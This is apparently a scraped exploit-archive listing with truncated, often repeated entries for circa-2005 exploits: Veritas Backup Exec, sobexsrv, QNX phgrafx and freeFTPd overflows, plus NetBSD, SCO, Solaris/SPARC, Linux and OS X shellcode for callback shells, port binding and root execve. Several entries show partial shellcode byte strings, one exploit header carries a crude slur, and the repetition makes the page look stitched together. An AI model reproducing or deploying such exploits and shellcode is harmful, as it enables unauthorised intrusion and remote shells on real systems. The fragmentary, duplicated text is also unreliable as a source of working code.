Veritas Backup Exec Name Service Overflow

This module exploits a vulnerability in the Veritas Backup Exec Agent Browser service. This vulnerability occurs when a recv call has a length value too long for the destination stack buffer. By sending an agent name value of 63 bytes or more, we can overwrite the return address of the recv...

sobexsrv 1.0.0_pre3 Bluetooth - 'syslog()' Remote Format String

!/usr/bin/perl trifinite.group Bluetooth sobexsrv remote syslog exploit code by kflistsatdigitalmunitiondotcom http://www.digitalmunition.com Shouts to my nigga Chung and the Donut Shop... keep fighting that SARS dude! Big ups to d4yj4y beeeeeeeeeeeeeotch! $retloc = 0x8053418; Due to unicode the...

QNX RTOS 6.3.0 (phgrafx) Local Buffer Overflow Exploit (x86)

Exploit for QNX platform in category local exploits ============================================================ QNX RTOS 6.3.0 phgrafx Local Buffer Overflow Exploit x86 ============================================================ / email protected c 2005, all rights reserved. sample exploit for...

netbsd/x86 callback shellcode (port 6666) 83 bytes

Exploit for netbsd/x86 platform in category shellcode ================================================== netbsd/x86 callback shellcode port 6666 83 bytes ================================================== / minervini at neuralnoise dot com c 2005 NetBSD/i386 2.0, callback shellcode port 6666; /...

netbsd/x86 setreuid(0, 0); execve("/bin//sh", ..., NULL); 29 bytes

Exploit for netbsd/x86 platform in category shellcode ================================================================== netbsd/x86 setreuid0, 0; execve"/bin//sh", ..., NULL; 29 bytes ================================================================== / minervini at neuralnoise dot com c 2005...

netbsd/x86 callback shellcode (port 6666) 83 bytes

No description provided by source. / minervini at neuralnoise dot com c 2005 NetBSD/i386 2.0, callback shellcode port 6666; / include sys/types.h include stdio.h include string.h char scode = "\x31\xc0" // xor %eax,%eax "\x31\xc9" // xor %ecx,%ecx "\x50" // push %eax "\x40" // inc %eax "\x50" //...

netbsd/x86 setreuid0, 0; execve"/bin//sh", ..., NULL; 29 bytes

netbsd/x86 setreuid0, 0; execve"/bin//sh", ..., NULL; 29 bytes. Shellcode exploit for netbsdx86 platform / minervini at neuralnoise dot com c 2005 NetBSD/i386 2.0, setreuid0, 0; execve"/bin//sh", ..., NULL; note: unsafe shellcode, but 29 bytes long; doesn't work if eax & 0x40000000 != 0; / includ...

netbsd/x86 callback shellcode port 6666 83 bytes

netbsd/x86 callback shellcode port 6666 83 bytes. Shellcode exploit for netbsdx86 platform / minervini at neuralnoise dot com c 2005 NetBSD/i386 2.0, callback shellcode port 6666; / include include include char scode = "\x31\xc0" // xor %eax,%eax "\x31\xc9" // xor %ecx,%ecx "\x50" // push %eax...

sco/x86 execve"/bin/sh", ..., NULL; 43 bytes

sco/x86 execve"/bin/sh", ..., NULL; 43 bytes. Shellcode exploit for scox86 platform / minervini at neuralnoise dot com c 2005 SCOSV scosysv 3.2 5.0.7 i386, execve"/bin/sh", ..., NULL; / include include char scode = "\x31\xc9" // xor %ecx,%ecx "\x89\xe3" // mov %esp,%ebx "\x68\xd0\x8c\x97\xff" //...

solaris/sparc setreuid/execve 56 bytes

Exploit for solaris/sparc platform in category shellcode ====================================== solaris/sparc setreuid/execve 56 bytes ====================================== / email protected setreuid shellcode full description of how it was done and defines at...

solaris/sparc setreuid/execve 56 bytes

No description provided by source. / [email protected] setreuid shellcode full description of how it was done and defines at http://www.telegenetic.net/sparc-shellcode.htm / char shellcode = "\x90\x1A\x40\x09" / xor %o1, %o1, %o0 / "\x92\x1A\x40\x09" / xor %o1, %o1, %o1 / "\x82\x10\x20\xCA" /...

solaris/sparc portbind (port 6666) 240 bytes

Exploit for solaris/sparc platform in category shellcode ============================================ solaris/sparc portbind port 6666 240 bytes ============================================ / email protected portbind shellcode full description of how it was done and defines at...

solaris/sparc portbind (port 6666) 240 bytes

No description provided by source. / [email protected] portbind shellcode full description of how it was done and defines at http://www.telegenetic.net/sparc-shellcode.htm / char shellcode= "\x9A\x1A\x40\x09" / xor %o1, %o1, %o5 / "\x90\x10\x20\x02" / mov PFINET, %o0 / "\x92\x10\x20\x02" / mo...

solaris/sparc setreuid/execve 56 bytes

solaris/sparc setreuid/execve 56 bytes. Shellcode exploit for solarissparc platform / [email protected] setreuid shellcode full description of how it was done and defines at http://www.telegenetic.net/sparc-shellcode.htm / char shellcode = "\x90\x1A\x40\x09" / xor %o1, %o1, %o0 /...

Create Windows own ShellCode-exploit warning-the black bar safety net

In order to help beginners to understand the ShellCode to write, and can step by step get your own ShellCode, so the Windows ShellCode writing process for a detailed description, in order to facilitate as I like the rookie, the final to be able to write a simple but a real ShellCode; and further...

freeFTPd 1.0.8 - 'USER' Remote Buffer Overflow

/ . \ \ \ \ | | / | | | | \ / / /\ \ / \ | \ / / / / 26\09\05 / || / / i Title: FreeFTPD Remote USER Buffer overflow i Discovered by: barabas mutsonline i Exploit by: Expanders Why FTPD crash? When logging option is enabled freeftpd copy the user and the pass supplied by the user in the...

linux/PPC/x86 execve("/bin/sh",{"/bin/sh",NULL},NULL) 99 bytes

Exploit for multiple platform in category shellcode ============================================================== linux/PPC/x86 execve"/bin/sh","/bin/sh",NULL,NULL 99 bytes ============================================================== / - dual-linux.c - by email protected ripped from...

linux/PPC/x86 execve"/bin/sh",{"/bin/sh",NULL},NULL 99 bytes

linux/PPC/x86 execve"/bin/sh","/bin/sh",NULL,NULL 99 bytes. Shellcode exploits for multiple platform / - dual-linux.c - by [email protected] ripped from [email protected] ^-- much , rjohnson, Kaliman, capsyl, salvia, amnesia, arcanum, eazyass, loophole, my family and so any others...

linux/PPC/x86 execve(""/bin/sh"" {""/bin/sh"" NULL} NULL) 99 bytes

No description provided by source. / - dual-linux.c - by [email protected] ripped from [email protected] ^-- much 3 brotha ; execve"/bin/sh","/bin/sh",NULL,NULL shellcode for linux both the ppc and x86 version. I thought about adding mipsel but I don't feel up to it at the moment. In fact I fee...

os-x/PPC/x86 execve"/bin/sh",{"/bin/sh",NULL},NULL 121 bytes

os-x/PPC/x86 execve"/bin/sh","/bin/sh",NULL,NULL 121 bytes. Shellcode exploits for multiple platform / - dual.c - by [email protected] execve"/bin/sh","/bin/sh",NULL,NULL shellcode for osx both the ppc and x86 version. Sample output: -nemo@squee:/shellcode$ file dual-ppc dual-ppc: Mach-O...